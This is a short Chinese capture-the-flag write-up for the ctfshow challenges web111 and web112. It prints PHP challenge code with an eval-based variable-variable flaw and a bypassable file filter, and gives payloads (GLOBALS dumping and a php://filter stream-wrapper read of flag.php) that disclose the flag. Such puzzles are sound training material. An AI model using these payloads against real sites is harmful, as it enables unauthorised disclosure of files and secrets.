web111
源代码
highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); //这里是一个赋值语句把v2的值复制下面通过get获得的$$v1值 var_dump($$v1); //打印$$v1的值 } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; //下面过滤后基本就是输入字母的意思 if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ //当$v1的值有ctfshow时,运行下面语句 getFlag($v1,$v2); }
payload:?v1=ctfshow&v2=GLOBALS
web112
1.源代码
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
//大概意思就是需要你给file这个参数赋值然后需要你的值绕过前面的过滤最后到这个highlight_file函数
2.知识点
is_file函数:判断输入的参数是不是文件
特点:PHP伪协议对这个函数来说不是函数
highlight_file函数:高亮文件
特点:对这个函数来说是函数
3.解题
payload:?file=php://filter/resource=flag.php
标签:GET,特性,v1,v2,ctfshow,file,php From: https://www.cnblogs.com/xxpanda/p/17419222.html